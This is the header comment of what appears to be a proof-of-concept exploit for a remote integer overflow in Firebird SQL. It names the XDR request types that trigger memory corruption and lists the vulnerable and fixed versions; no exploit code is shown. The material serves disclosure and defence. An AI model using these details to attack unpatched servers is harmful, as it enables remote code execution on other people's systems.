/** 
 *  FIREBIRD REMOTE BUFFER OVERFLOW.
 *  ITDEFENCE.ru Proof-of-Concept (POC)
 *  Eugene Minaev (underwater@xxxxxxxxxxxx)
 *
 *  Integer overflow in Firebird SQL 1.0.3 and earlier, 1.5.x before 1.5.6, 2.0.x before 2.0.4, and 2.1.x before 2.1.0 
 *  RC1 might allow remote attackers to execute arbitrary code via crafted op_receive, op_start, op_start_and_receive, 
 *  op_send, (5) op_start_and_send, and (6) op_start_send_and_receive XDR requests, which triggers memory corruption.
 *
 *  Vulnerable packages
 *
 *      Firebird SQL 1.0.3 and before.
 *      Firebird SQL 1.5.5 and before.
 *      Firebird SQL 2.0.3 and before.
 *      Firebird SQL 2.1.0 Beta 2 and before.
 *
 *  Non-vulnerable packages
 *
 *      Firebird SQL 1.5.6 (to be released)
 *      Firebird SQL 2.0.4 (to be released)
 *      Firebird SQL 2.1.0 RC1
